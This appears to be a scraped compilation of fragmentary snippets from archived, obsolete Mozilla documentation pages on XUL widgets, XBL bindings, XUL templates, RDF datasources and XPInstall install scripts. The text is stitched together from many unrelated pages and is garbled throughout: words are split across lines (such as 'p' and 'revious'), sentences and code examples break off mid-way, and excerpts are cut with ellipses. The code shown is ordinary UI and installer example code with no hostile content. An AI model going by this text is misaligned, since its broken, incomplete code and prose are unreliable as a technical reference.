Learn XPI Installer Scripting by Example - Archive of obsolete content
o organize, compress, and automate software installations and software updates. a xpi is a pkzip-compressed archive (like zip and jar files) with a special script at the highest level that manages the installation. that installer script , usually named install.js, is the subject of this article. ...
...are written to the install log using the logcomment, described in the following section. installation logging logging is an important feature of the xpinstall api that can help you streamline and debug your installations. in the example in the executing the installation section and in many places in the installation script, the logcomment api is used to write data to a log file that can then be
reviewed when things don't go as planned. the install log is created in the product directory by default (where the browser executable is). if the installation doesn't have proper permission, the install log is written to the user's profile directory. respectively, these directories correspond to the "program" and "current user" keywords for the getfolder method. extending the example what does al...
reserved - Archive of obsolete content
in future releases, the event handler will never be called for the given keyboard shortcut. ...
...in future releases, the event handler will never be called for the given keyboard shortcut. ...
close - Archive of obsolete content
note that the close event is only fired when the user presses the close button on the titlebar; (i.e. not file -> quit). the unload event should be used to capture all attempts to unload the window. general info specification xul interface event bubbles no cancelable no target window default action the window is closed. ...
... event target (the topmost target in the dom tree). ...
openPopup - Archive of obsolete content
anchor the popup may be either anchored to another node or opened freely. to anchor a popup to a node, supply an anchor node and set the position to a string indicating the manner in which the popup should be anchored. the anchor node does not need to be in the same document as the popup. unanchored popups may be created by supplying null as the anchor node. ...
...it affects menu item highlighting; that is, while a context menu is open, menus opened earlier do not highlight or execute their items. attributesoverride if the attributesoverride argument is true, the position attribute on the popup node overrides the position value argument. if attributesoverride is false, the attribute is only used if the position argument is empty. trigge
revent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup). ...
Methods - Archive of obsolete content
focus getbrowseratindex getbrowserfordocument getbrowserfortab getbrowserindexfordocument getbutton getdefaultsession geteditor getelementsbyattribute getelementsbyattributens getformattedstring gethtmleditor getindexoffirstvisiblerow getindexofitem getitematindex getnextitem getnotificationbox getnotificationwithvalue getnumberofvisiblerows getpagebyid getp
reviousitem getresultat getresultcount getresultvalueat getrowcount getsearchat getselecteditem getsession getsessionbyname getsessionresultat getsessionstatusat getsessionvalueat getstring goback gobackgroup godown goforward goforwardgroup gohome goto gotoindex goup hidepopup increase increasepage insertitem insertitemat invertselection loadgro...
...getsessionstatusat getsessionvalueat getstring goback gobackgroup godown goforward goforwardgroup gohome goto gotoindex goup hidepopup increase increasepage insertitem insertitemat invertselection loadgroup loadonetab loadtabs loaduri loaduriwithflags makeeditable movebyoffset moveto movetoalertposition onsearchcomplete ontextentered ontext
reverted openpopup openpopupatscreen opensubdialog openwindow preferenceforelement reload reloadalltabs reloadtab reloadwithflags removeallitems removeallnotifications removealltabsbut removecurrentnotification removecurrenttab removeitemat removeitemfromselection removenotification removeprogresslistener removesession removetab removetabsprogresslistener r...
ContextMenus - Archive of obsolete content
t listener attached using the oncontextmenu attribute. as textboxes have a context menu built in, the event will fire before an attempt to open the context menu. however, the event will also fire when the label is right-clicked for instance, so the event handler should check to make sure that the target of the contextmenu event is what is desired. ...
...mpt to open the context menu. however, the event will also fire when the label is right-clicked for instance, so the event handler should check to make sure that the target of the contextmenu event is what is desired. to cancel a context menu event, you can use the p
reventdefault method of the event object. function checkcontextmenu(event) { if (event.target.localname == "textbox") event.p
reventdefault(); } function init() { var container = document.getelementbyid("container"); container.addeventlistener("contextmenu", checkcontextmenu, true); } the 'checkcontextmenu' function checks to see if the textbox was the target of the context menu and, if so, cancels the event using the p
reventdefault method. this has the effect of disabling the context menu. the event listener is atta...
MenuItems - Archive of obsolete content
e="checkbox" oncommand="changetoolbarstate();"/> in this example, we show the toolbar when the menuitem is checked and hide the toolbar otherwise. there may be times when you do not want the checkbox state to be updated automatically when the menuitem is activated. this can be useful if there's a possibility that whatever action is carried out could fail. one possibility is to simply
reverse the checkbox state again. as this can be more complicated, it is also possible to use the autocheck attribute to disable this behavior. when the autocheck attribute is set to false, the checkbox state is not updated automatically, and you must write code to adjust the state yourself. <script> function changetoolbarstate(event) { if (event.target.getattribute("checked") == "true") hidet...
...ecked", "true"); } } </script> ... <menuitem label="show toolbar" accesskey="t" type="checkbox" autocheck="false" oncommand="changetoolbarstate();"/> this version of the changetoolbarstate function changes the checked attribute itself. the autocheck attribute has been set to false on the menuitem so the checked attribute will not be updated automatically. note that the code has been
reversed in the condition blocks to hide the toolbar when the menuitem is checked and show the toolbar when the menuitem is not checked because the checked state hasn't been modified. the example assumes that the showtoolbar() function might fail so if it returns false, the checked attribute is not modified. when clearing the checked state, the checked attribute should be removed rather than just se...
Menus - Archive of obsolete content
might be to open a file picker to select a file to open. in this example, a command event listener is attached to the item using the oncommand attribute. here, it just displays an alert message. <menuitem label="open" accesskey="o" oncommand="alert('open a file!');"/> another way to associate an action with a menu item is to use a command element. the example below has the same effect as the p
revious example, however it uses a command element instead of listening to the command event directly. <command id="cmd_open" oncommand="alert('open a file!');"/> ... <menuitem label="open" accesskey="o" command="cmd_open"/> the command attribute should be set to the id of a command element within the same document, in this case 'cmd_open'. the command event will be fired on the command element in...
...omponents.interfaces.nsimenuboxobject).activechild = item; when the active item is set this way, keyboard navigation will now continue from this point. setting activechild to null will deactivate all items, and keyboard navigation will start from the top of the menu. it should be noted that setting the active item in this way will not affect the selected property or selected attribute of the p
reviously and newly activated item. you must unset/set those explicity for each item affected, if you want them to be. for menulists, however, setting the selecteditem or selectedindex properties on the menu will automatically take care of that for you. ...
Panels - Archive of obsolete content
"> <panel id="search-panel" position="after_start"> <textbox id="search"/> <button label="search" oncommand="dosearch();"/> </panel> </toolbarbutton> in this example, the dosearch() function is called when the "search" button is pressed. this function retrieves the popup and calls the hidepopup method. naturally, this function would also include code to start the search operation. p
reventing panels from automatically closing a panel will be closed when a user clicks outside of the panel or when the escape key is pressed. this is the normal way in which a user would cancel the operation. you may wish to also place a cancel or close button within the panel, especially if the panel is larger with a lot of controls within it. sometimes, however, you may wish to keep the panel ope...
..."true"> this will cause the focus to remain on the element within the main window that has focus when the panel is opened. note that this will also keep the focus within the panel when it is closed. when a panel is closed, the focus is removed from the element within the panel which has the focus event, if any, and whatever element was focused before the panel was opened is refocused. you can p
revent the focus from being removed by setting the noautofocus attribute to true as above. in addition, the norestorefocus attribute should be set to true in order to p
revent the p
reviously focused element from being refocused. normally, only the latter would be set if needed. this process of removing the focus when opening and closing a popup occurs after the popupshowing event or popuphiding event...
Sorting and filtering a custom tree view - Archive of obsolete content
reecols> <treechildren id="tree-children"/> </tree> </window> sort.js var table = null; var data = null; var tree; var filtertext = ""; function init() { tree = document.getelementbyid("tree"); loadtable(); } //this function is called every time the tree is sorted, filtered, or reloaded function loadtable() { //remember scroll position. this is useful if this is an editable table //to p
revent the user from losing the row they edited var topvisiblerow = null; if (table) { topvisiblerow = gettopvisiblerow(); } if (data == null) { //put object loading code here. for our purposes, we'll hard code it. data = []; //the property names match the column ids in the xul. this way, we don't have to deal with //mapping between the two data.push({name: "leonardo", description: "l...
...turn null; }; this.getrowproperties = function(row,props){}; this.getcellproperties = function(row,col,props){}; this.getcolumnproperties = function(colid,col,props){}; this.cycleheader = function(col, elem) {}; } function sort(column) { var columnname; var order = tree.getattribute("sortdirection") == "ascending" ? ...
Additional Template Attributes - Archive of obsolete content
however, you may use the template attribute to refer to a template located elsewhere within the document. this allows you to share the same template among two different parts of the user interface. to use this technique, place a template attribute on the root element set to the id of a template. <listbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" template="phototemplate"/> ... <template id="phototemplate"> ... </template> this template will be shared with any other element that references the id 'phototemplate'. ...
...function. ...
Attribute Substitution - Archive of obsolete content
however, you may also replace only part of attribute's value, or use multiple variables in one attribute. for instance, to include a prefix before a variable value, you can use: <label value="my name is ?name"/> the effect will be that the ?name part of the attribute will be replaced by the value of the variable ?name. for instance, if the value of ?name is 'jake', then the attribute value will be 'my name is jake'. ...
...gs doesn't handle the textnode element properly. ...
Bindings - Archive of obsolete content
« p
reviousnext » we can add more triples to the p
revious example to show more information. for example, a description could be added to a photo. to do this all we need to do is add the necessary data to the rdf datasource and add another <triple> element to the template's statements. <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the p
revious triple. the ?photo variable is filled in with the known value and then the arc is looked up the datasource, filling in the value for t...
...tion will be treated as if the description were blank. that is, the ?description variable will be replaced with an empty string when analyzing the attributes in the action body. here is this example. you can have more than one binding if you wish. the others will be evaluated in a similar way. for instance, the title triple could be moved to a binding such that it could be optional also. « p
reviousnext » ...
Building Hierarchical Trees - Archive of obsolete content
this works just like with recursive generation using the content builder. each level of the tree is created using a successive iteration of the template build process. if the items are containers, the tree builder will mark the right rows as containers, so that they can be opened and closed with the small icon twisties on the left of the column. remember to make the left column the primary column for these to appear. to be able to do this, the tree builder must know that an item is a container. with an rdf datasource, this would usually be an rdf container such as a seq and the tree would display its children. ...
...ml" rows="10" flags="dont-build-content"> <treecols> <treecol id="name" primary="true" label="name" flex="1"/> </treecols> <template> <query expr="*"/> <action> <treechildren> <treeitem uri="?"> <treerow> <treecell label="?name"/> </treerow> </treeitem> </treechildren> </action> </template> </tree> « p
reviousnext » ...
Building Trees - Archive of obsolete content
you can use a template with a tree just like any other template. however, since templates are often used with trees—especially with large amounts of data—the template system supports a special builder just for creating trees. rather than generate content for every row in the tree, the results are stored in a list inside the builder. this means that dom nodes are not constructed for any of the items. this is much more efficient; creating large numbers of dom nodes adds a lot of overhead. the performance advantage is possible since trees only display text. as a result, the builder only has a few pieces of information to keep track of. ...
... properties="?countrytitle"> <treecell src="?photo"/> </treerow> </treeitem> </treechildren> </action> </rule> you might use the following css to change the border around rows listing a particular country: treechildren::-moz-tree-row(netherlands) { border: green 1px solid; } the result of this example is a tree where one row has a green border around it. « p
reviousnext » ...
RDF Query Syntax - Archive of obsolete content
each statement is placed as a direct child of the <query> element within the template. <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <rule> ... </rule> </template> </vbox> this query has two statements, each specified with a different tag. the template won't generate anything yet since we still need to fill in the content to be generated which goes in the missing part inside the rule. ...
...intains only one copy of the similar data but uses data structures in such a way which make it appear as if it were duplicated. you may find this a bit confusing, but this should become clearer later with more specific and practical examples. since the triple was the last statement, the builder moves on to the content generation phase, creating matches out of the three potential results. « p
reviousnext » ...
Result Generation - Archive of obsolete content
first, however, some background. rdf, in mathematical terms, is a labeled directed graph. that means that rdf is a graph of nodes and arrows between them where each node and arrow has some label. since it's a graph, arrows can point all over the place and nodes can have any number of arrows pointing out of them and pointing at them. and also because it is a graph, there is no real starting point or root node so you can just start anywhere. in the picture below, you can see that node a at the top has arcs pointing to b, c and d. similarly, c has an arc pointing to d. ...
...ollowing: (?name = mary, ?age = 12, ?gender = female) this statment has removed fred from the potential results and added the ?gender variable for mary. this is typical of how a query statement works, by adding additional variables to a result and filtering out those that don't match a particular value. if this were the last statement, mary would go on to become a match to be displayed. « p
reviousnext » ...
Rule Compilation - Archive of obsolete content
a query contains instructions for how to retrieve a set of data from the datasource. the exact syntax is dependent on the type of datasource used in the template. for instance, for an sqlite datasource, an sql statement is used as the query. this will return a table of result records which are then used to generate output. for rdf and xml, the query contains a set of instructions for navigating through the rdf graph or xml document tree. a query is declared with the query tag (new to ff3; ff2 only worked with rdf datasources and had no query tag), which you would place directly inside the <template>. the job of the query is to generate a set of output results. ...
...her time consuming to generate output for every item in a tree, even for those not displayed, so the template builder doesn't do so. the template builder is even lazier. if the generated content itself contains hidden elements, those child elements will not be generated until necessary. when building content, the builder iterates down the node tree, copying and building only when needed. « p
reviousnext » ...
SQLite Templates - Archive of obsolete content
this allows information from the database to be used to generate xul content. to do this, set the querytype attribute on the root node of the template to the value storage. this will cause the datasource to be treated as an sqlite database. the datasources attribute may be set to one of two possible types of values. first, it may a file url pointing to a file on disk. in this case, you will often be setting the datasources attribute dynamically after determining the file path. (if you intend to set it by script, you must set datasources in the xul to rdf:null). ...
...tage(min, max) { document.getelementbyid("minage").textcontent = min; document.getelementbyid("maxage").textcontent = max; document.getelementbyid("friends").builder.rebuild(); } this function takes two arguments, the minimum and maximum values to use. we retrieve the param elements and set their textcontent properties to the desired value. finally, we rebuild the entire template. « p
reviousnext » ...
Simple Query Syntax - Archive of obsolete content
it may also be used when iterating over only one predicate. simple rdf graph navigation such as this is common, so the simpler syntax is usually used in this situation since it avoids extra tags, although the simple syntax is not more or less efficient, at least when a single query is involved. a simple query is equivalent to a query with only the content tag and a member tag, as well as optionally a set of triples from the child node. ...
... dc:title="obelisk" r:country="http://www.daml.org/2001/09/countries/iso#it"> this rule filters on two criteria which must both match. rules will apply all the attributes as conditions except for the id attribute, as well as some special attributes, which are ignored. these special attributes are useful when handling multiple rules, which will be the subject of a later topic. « p
reviousnext » ...
Template Builder Interface - Archive of obsolete content
if so, a template builder will be created for the element and attached to the element. if the element is a <tree> element and has the flags attribute set to "dont-build-content", a tree builder will be created. otherwise, a content builder will be created. both types of builder share much of the same code except for how they generate output to be displayed. both types of builders implement the nsixultemplatebuilder interface, while the tree builder also implements the nsixultreebuilder interface. the builder associated with an element is accessible via the element's 'builder' property both for content builders and for tree builders. ...
...is is something to watch out for if you are going to be manipulating the composite datasource. one more note: the datasources attribute may use either absolute or relative urls. relative urls are relative to the xul document the corresponding element is in. the rdf service's getdatasource method however, only accepts absolute urls. so you will need to use the full path in this situation. « p
reviousnext » ...
Template and Tree Listeners - Archive of obsolete content
these each implement a different xpcom interface, as listed below: nsixulbuilderlistener - used to listen to template rebuilds. nsixultreebuilderobserver - used to listen to particular tree operations. nsirdfobserver - for rdf datasources, used to listen to changes in the underlying rdf datasource. listening for template rebuilds the first of these is the simplest and involves two methods, willrebuild and didrebuild. you would implement this object with these two methods if you wish to be notified when the template is rebuilt using the builder's rebuild call. ...
...posite. ...
Using Multiple Queries to Generate More Results - Archive of obsolete content
to do this, we create one query to generate one set of results and a second query to generate another set of results. if a result from the second query wasn't also matched by the first query, it will have content created for it. recall that when the member resource for a query matches several rules, only the earliest query that matches will have content generated for it. if resources don't overlap, we can generate content for two different parts of the rdf data. ...
...r. ...
XML Templates - Archive of obsolete content
an xml document will be loaded and xpath expressions may be used to take portions of the xml document and generate content from these. when an xml source is desired, specify a querytype attribute on the root node of the template to the value xml. this indicates to the template builder that an xml source is being used as that the queries use syntax that is specific to xml. the datasources attribute should be set to the url of an xml document, either a local file or a remote web site. ...
...h expressions. ...
Adding HTML Elements - Archive of obsolete content
adding html elements to a window in addition to all of the xul elements that are available, you can also add html elements directly within a xul file. you can actually use any html element in a xul file, meaning that java applets and tables can be placed in a window. you should avoid using html elements in xul files if you can. (there are some reasons, and the main one concerns the control of the layout described later). however, this section will describe how to use them anyway. remember that xml is case-sensitive though, so you'll have to enter the tags and attributes in lowercase. ...
... a different reason. ...
Adding Labels and Images - Archive of obsolete content
in addition, we look at how to include elements into groups. text elements you cannot embed text directly into a xul file without tags around it and expect it to be displayed. you can use two xul elements for this purpose. label element the most basic way to include text in a window is to use the label element. it should be used when you want to place a descriptive label beside a control, such as a button. an example is shown below: example 1 : source view <label value="this is some text"/> the value attribute can be used to specify the text that you wish to have displayed. the text will not wrap, so the text will all be displayed on a single line. ...
...yle-image: url("chrome://findfile/skin/banner.jpg"); } #search { list-style-image: url("http://example.com/images/search.png"); } these images come from within the chrome directory, in the skin for the findfile package. because images vary by theme, you would usually place images in the skin directory. in the next section, we will learn how to add some input controls to a window. « p
reviousnext » ...
Adding Methods to XBL-defined Elements - Archive of obsolete content
methods in addition to adding script properties to the xbl-defined element, you can also add methods. these methods can be called from a script. methods are the functions of objects, such as window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open(). you can define custom methods for your elements using the method element. ...
...ould be placed directly inside the appropriate tag. there should only be at most one of each per binding and they take no arguments. here are some examples: <constructor> if (this.childnodes[0].getattribute("open") == "true"){ this.loadchildren(); } </constructor> <destructor action="savemyself(this);"/> the next section shows how to add event handlers to xbl-defined elements. « p
reviousnext » ...
Adding more elements - Archive of obsolete content
adding elements to our find files example we will add some more elements to the find files dialog now. first, we will add the capability to search for other information such as the file size and date. ...
...l. ...
Adding Properties to XBL-defined Elements - Archive of obsolete content
the xbl interface javascript and the dom provide access to get and set the properties of elements. with xbl, you can define your own properties for the elements you create. you can also add methods that can be called. that way, all you need is to get a reference to the element (using document.getelementbyid or a similar function) and then get or set the additional properties and call the methods on it. there are three types of items you can add. fields are used to hold a simple value. properties can also be used to hold a value but may have code execute when an attempt is made to retrieve or modify the value. methods are functions which may be executed. ...
...eating get and set handlers. ...
Adding Style Sheets - Archive of obsolete content
xul uses css (cascading style sheets) to customize elements. style sheets a style sheet is a file which contains style information for elements. it was originally designed for html elements but can be applied to xul elements also, or to any xml for that matter. the style sheet contains information such as the fonts, colors, borders, and size of elements. mozilla applies a default style sheet to each xul window. in many cases, it will suffice to leave the defaults as is. other times, however, you will want to provide a custom style sheet. in general, you will associate a single style sheet with each xul file. you can place a style sheet anywhere you wish. ...
...n orient attribute that is set to horizontal. ...
Additional Install Features - Archive of obsolete content
you may wish to perform some more elaborate processing during the installation. for example, you may want to install a package only when certain conditions are met, such as having a particular library installed. in addition to the install object, a file object is also available during an installation script. it provides some functions which can be used to examine and modify files on disk. you can use these to move, copy or delete files before or after the files are installed. for example, you might want to make a backup of some files first. ...
...eated that contains the operations that are performed. it will also show any errors that occured. the log file can be found in the file 'install.log' in the mozilla installation directory. a block of text will be added to this file for each installation that occurs. the logcomment() function can be used to write a string of text to the log file. it takes one argument, the text to write. « p
revious ...
Advanced Rules - Archive of obsolete content
the full rule syntax the rule syntax described so far is useful for some datasources but sometimes you will need to display data in more complicated ways. the simple rule syntax is really just a shortcut for the full rule syntax which is described below. like the simple rules, full rules are placed within the rule tag. full rules contain three child tags, a conditions tag, a bindings tag and an action tag, although the bindings tag is not always needed. the conditions element is used to specify the criteria for matching a given resource. you can specify a number of conditions, all of which must match. in the simple rule syntax, the conditions are placed directly on the rule element itself. ...
... check the conditions. ...
Anonymous Content - Archive of obsolete content
xbl content xbl can be used to automatically add a set of elements inside another element. the xul file only needs to specify the outer element while the inner elements are described in the xbl. this is useful for creating a single widget that is made up of a set of other widgets, but can be referred to as only a single widget. mechanisms are provided for adding attributes to the inner elements that were specified on the outer element. ...
... </content> </binding> the first children element only grabs the label and button elements, as indicated by its includes attribute. the second children element, because it has no includes attribute, grabs all of the remaining elements. see also anonymous content section of the xbl reference. in the next section, we'll look at how attributes can be inherited into the anonymous content. « p
reviousnext » ...
Commands - Archive of obsolete content
command elements the command element is used to create commands which can be used to carry out operations. you don't need to use commands, since you can just call a script to handle things. however, a command has the advantage that it can be disabled when needed and can be invoked without needing to know about the details of its implementation. commands provide a suitable way to abstract operations from the code. commands are especially useful for larger applications. for instance, in order to implement the clipboard menu commands, cut, copy and paste, you can use commands. ...
...,tboxcontroller); in this example, we insert the controller at index 0, which means before any others. the new controller supports the 'cmd_paste' command and always indicates that the command is disabled. the default textbox controller never gets called because the command dispatcher found the controller above to handle the command first. next, we'll find out how to update commands. « p
reviousnext » ...
Creating Dialogs - Archive of obsolete content
this section describes how one might construct them. creating a dialog the opendialog() function is used to open a dialog, and is related to open(). this function differs from open() in several ways. it displays a dialog instead of a window, which implies that it is asking something of the user. it also has subtle differences in the way it works and appears to the user. these differences will vary depending on the platform the application is running on. in addition, the opendialog() function can take additional arguments beyond the first three. these arguments are passed to the new dialog and placed in an array stored in the new window's arguments property. ...
...ies because of their colour"/> <radio id="yellow" label="bananas because they are pre-packaged"/> </groupbox> </dialog> the buttons elements can be accessed with the following javascript // the accept button var acceptbutt = document.documentelement.getbutton("accept") more examples more examples in dialogs and prompts (code snippets). next, we'll see how to open file dialogs. « p
reviousnext » ...
Creating a Skin - Archive of obsolete content
modifying userchrome.css is not guaranteed to work between versions of firefox and may lead to hard-to-diagnose bugs. use at your own risk! this section describes how to create a simple skin. for simplicity, we'll only apply it to the find files dialog. a simple skin the image below shows the current find files dialog. let's create a skin that we can apply to it. normally, a skin would apply to the entire application, but we'll focus on just the find files dialog to make it easier. for this reason, we'll modify only the file findfile.css rather than the global.css file. this section assumes that you are starting with the classic skin. ...
...nces. ...
Creating a Wizard - Archive of obsolete content
xul provides a way to create wizards easily. the wizard a wizard is a special type of dialog that contains a number of pages. buttons appear at the bottom of the dialog to allow navigation between pages. the wizards are often used to help the user perform a complex task. each page contains a single question or a set of related questions. after the last page, the operation is carried out. xul provides a wizard element which can be used to create wizards. attributes placed on the wizard are used to control the wizard navigation. when creating a wizard, use the wizard tag instead of the window tag. ...
...that the user is entering. ...
Creating an Installer - Archive of obsolete content
parts of this page show the use of the xpinstall api. the majority of this api is now deprecated and as of gecko 1.9 no longer available. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. « p
reviousnext » this section will describe packaging a xul application into an installer. xpinstall packages mozilla provides a mechanism which can be used to package xul windows, scripts, skins and other files into single file installers. you can place this installer file somewhere for users to download. a simple script can be used to have the package downloaded and installed. this mechanism is called xpin...
...ontent contents.rdf findfile.xul findfile.js skin contents.rdf findfile.css locale contents.rdf findfile.dtd a directory has been added for each part of the package, the content, the skin and the locale. the contents.rdf files have also been added because they will be needed to register the chrome files. next, we'll look further at the install script. « p
reviousnext » ...
Custom Tree Views - Archive of obsolete content
creating a custom view so far, we have only been using the built-in content tree view. in this section, we will look at creating a custom view. this is necessary when the page has a lot of data or that data is highly nested. for instance, 5000 rows of treeitems would load too slowly. you might also implement a custom view when you want to perform computations on the data to be displayed. since the view can store and retrieve the data in the most suitable manner for the kind of data used, the tree can be used even when there are hundreds of thousands of rows to be displayed. note: the tree-related interfaces changed in gecko 1.8. see tree widget changes for details. ...
... the tree much more efficient. ...
Features of a Window - Archive of obsolete content
we'll look at some more in this section. creating another window you can create a second window for your application in the same manner as you would create the first one. just create a second xul file with the window code in it. as in html, you can use the window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() function to open the second window. this function will return a reference to the newly opened window. you can use this reference to call functions of the other window. ...
... is closed. ...
Grids - Archive of obsolete content
xul tabular layout xul has a set of elements for doing layout of elements in a grid-like manner using the grid element. it has some similarities to the html table tag. the grid does not display anything itself; it is used only to position elements in a tabular form with rows and columns. a grid contains elements that are aligned in rows just like tables. inside a grid, you declare two things, the columns that are used and the rows that are used. just like html tables, you put content such as labels and buttons inside the rows. however, the grid allows either row or column based organization so you may put content in either rows or in columns. ...
...abel value="southwest"/> <label value="southeast"/> </row> </rows> </grid> the button will stretch to fit the entire width of the grid as it is not inside a grid row. you can use a similar technique to add an element in-between two columns. it would stretch to fit the height of the grid. you could also do both if that is desired. next, we'll look at adding content panels. « p
reviousnext » ...
Groupboxes - Archive of obsolete content
the groupbox is a type of box, and the elements it contains are aligned according to the xul box rules. however, there are several differences between groupboxes and regular boxes: the groupbox can be labeled using the caption element. the groupbox is displayed in a special way—usually with a beveled border and a caption, although you can change the appearance using css. you can create a caption for your groupbox by inserting a caption element as the first child. ...
..."/> <hbox> <radio id="specify" value="specify" label="specify number:"/> <textbox id="specificnumber"/> </hbox> </radiogroup> note that the radiogroup element does not draw a border around it. you should place a groupbox element around it if a border and caption are desired. next, we'll use what we've learned so far and add some additional elements to the find files dialog. « p
reviousnext » ...
Input Controls - Archive of obsolete content
looking for a guide to using input controls and forms on the web? see forms in html. text entry fields html has an input element which can be used for text entry controls. xul has a similar element, textbox, used for text entry fields. without any attributes, the textbox element creates a box in which the user can enter text. textboxes accept many of the same attributes as html input controls. the following are some of them: id a unique identifier so that you can identify the textbox. class the style class of the textbox. value if you want the textbox to have default text, supply it with the value attribute. disabled set to true to have text entry disabled. ...
...cesskey the shortcut key that can be used to select the element. the letter specified is usually drawn underlined in the label. to view xul, you need e.g. seamonkey or waterfox and remote-xul-manager from https://github.com/jvillalobos/remote-xul-manager find files example so far : source view in the next section, we will look at some elements for entering and selecting numbers. « p
reviousnext » looking for a guide to using input controls and forms on the web? see forms in html. ...
Install Scripts - Archive of obsolete content
creating an install script note: for firefox extensions, install.js are no longer used. you should create a install.rdf instead. you will usually want some form of control over your install process. for example, you may wish to check versions of files and only install updated files, or perhaps you wish to apply patches to existing files. the install script is even flexible enough to allow you to uninstall files. for this reason, installers include an install script to handle the installation process. the installer script must be called install.js and must be placed at the top level of the installer archive. the script will contain javascript code which calls a number of install functions. ...
... setpackagefolder(finddir); adddirectory("findfile"); registerchrome(install.content | install.delayed_chrome, getfolder(finddir, "content")); registerchrome(install.skin | install.delayed_chrome, getfolder(finddir, "skin")); registerchrome(install.locale | install.delayed_chrome, getfolder(finddir, "locale")); performinstall(); next, we'll look at some additional install functions. « p
reviousnext » ...
Introduction to RDF - Archive of obsolete content
resource description framework we can use the tree elements to display a set of data, such as bookmarks or mail messages. however, it would be inconvenient to do so by entering the data directly into the xul file. it would make it very difficult to modify the bookmarks if they were directly in the xul file. the way to solve this is by using rdf datasources. rdf (resource description framework) is a format that can be used to store resources such as bookmarks or mail. alternatively, data in other formats can be used and code written that will read the file and create rdf data from it. this is how mozilla works when it reads data such as bookmarks, the history or mail messages. ...
...e example above, the following uris are generated which can be used to refer to the specific fields: name http://www.some-fictitious-zoo.com/rdf#name species http://www.some-fictitious-zoo.com/rdf#species class http://www.some-fictitious-zoo.com/rdf#class next, we'll see how we can use rdf to populate xul elements. « p
reviousnext » ...
Introduction to XBL - Archive of obsolete content
this language is used for declaring the behavior of xul widgets. bindings you can use xul to define the layout of a user interface for an application. you can customize the look of elements by applying styles to them. you can also create new skins by changing the styles. the basic appearance of all elements, such as scroll bars and check boxes may be modified by adjusting the style or by setting attributes on the element. however, xul provides no means in which you can change how an element works (or add a new element which can be reused). for example, you might want to change how the pieces of a scroll bar function. for this, you need xbl. an xbl file contains a set of bindings. ...
...have a specialized binding, defined in the xbl file. you may use other elements besides the box, even your own custom tags. we'll look more at the details of the xbl part in the next section. however, to summarize, it causes two buttons to be added automatically inside the box, one an ok button and the other a cancel button. in the next section, we will look at creating content with xbl. « p
reviousnext » ...
Keyboard Shortcuts - Archive of obsolete content
however, it would be tedious to do that for every button and menu item (though it could be necessary when one's key commands are only triggered when the user is focused on a particular element). creating a keyboard shortcut xul provides methods in which you can define keyboard shortcuts. we've already seen in the section on menus that we can define an attribute called accesskey which specifies the key which a user can press to activate the menu or menu item. in the example below, the file menu can be selected by pressing alt + f together (or some other key combination for a specific platform). once the file menu is open, the close menu item can be selected by pressing c. ...
...he key that was pressed. ...
Localization - Archive of obsolete content
dfile.dtd dtd file. this line is typically placed just before the window element. you also need to add the locale to the chrome.manifest file, for example: locale findfile en-us locale/ declaring entities the entities are declared using a simple syntax as shown below: <!entity findlabel "find"> this example creates an entity with the name findlabel and the value "find". this means that whe
rever the text "&findlabel;" appears in the xul file, it will be replaced with the text "find". note that entity declarations do not have a trailing slash at the end of them. in the dtd file for a different language, the text for that language will be used instead. for japanese: <!entity findlabel "検索"> for example, the following text: <description value="&findlabel;"/> is translated as: e...
...ntity bytes.before ""> <!entity bytes.after "bytes"> <!entity button.find "find"> <!entity button.cancel "cancel"> now, to add text for a new language all you need to do is create another dtd file. by using the chrome system to add the dtd file to a different locale, the same xul file can be used in any language. find files example so far: source next, we'll look at property files. « p
reviousnext » see also how to localize html pages, xul files, and js/jsm files from bootstrapped add-ons: bootstrapped extensions :: localization (l10n) ...
Modifying the Default Skin - Archive of obsolete content
this documentation has not been fully updated for firefox quantum. support for the userchrome.css file and any of its elements described below are not guaranteed in future versions of firefox. using it may lead to hard-to-diagnose bugs or crashes. use at your own risk! this section describes how to modify the skin of a window. skin basics a skin is a set of style sheets, images and behaviors that are applied to a xul file. by applying a different skin, you can change the look of a window without changing its functionality. ...
... the image associated with a checkbox. ...
More Tree Features - Archive of obsolete content
hierarchical trees the tree element is also used to create hierarchical lists, like that found in a file manager or a browser's bookmarks list. the tree view has a number of functions which specify the hierarchy of the items in a tree. each item in the tree has a level starting at 0. the topmost items in the tree will have a level of 0, the children of those items will have a level of 1, the children below that will have a level of 2, and so on. the tree will query the view for the level of each item in order to determine how to draw the rows. the tree will draw the open and close icons to open and close a parent item as well as lines connecting the children to their parents. ...
...l label="9:15:51" /> </treerow> </treeitem> </treechildren> </tree> three attributes of the columns must be persisted, the width attribute to save the column widths, the ordinal attribute which holds the position of the column, and the hidden attribute which holds whether the column is hidden or visible. next, we'll find out to get and set the selection for trees. « p
reviousnext » ...
Open and Save Dialogs - Archive of obsolete content
file pickers a file picker is a dialog that allows the user to select a file. it is most commonly used for the open and save menu commands, but you can use it any place in which the user needs to select a file. the xpcom interface nsifilepicker is used to implement a file picker. note that the file picker only works from chrome urls. you can use the file picker in one of three modes: open - the user is asked to select a file for opening. get folder - the user is asked to select a folder (directory). save - the user is asked to select the name to save a file to. the appearance of the dialog will be different for each type and will vary on each platform. ...
...ected a file to be replaced. ...
Persistent Data - Archive of obsolete content
remembering state when building a large application, you will typically want to be able to save some of the state of a window across sessions. for example, the window should remember which toolbars are collapsed even after the user exits. one possibility would be to write a script to collect information about what you would like to save and then save it to a file. however, that would be a pain to do for every application. conveniently, xul provides such a mechanism to save the state of a window. the information is collected and stored in a rdf file (localstore.rdf) in the same directory as other user preferences. it holds state information about each window. ...
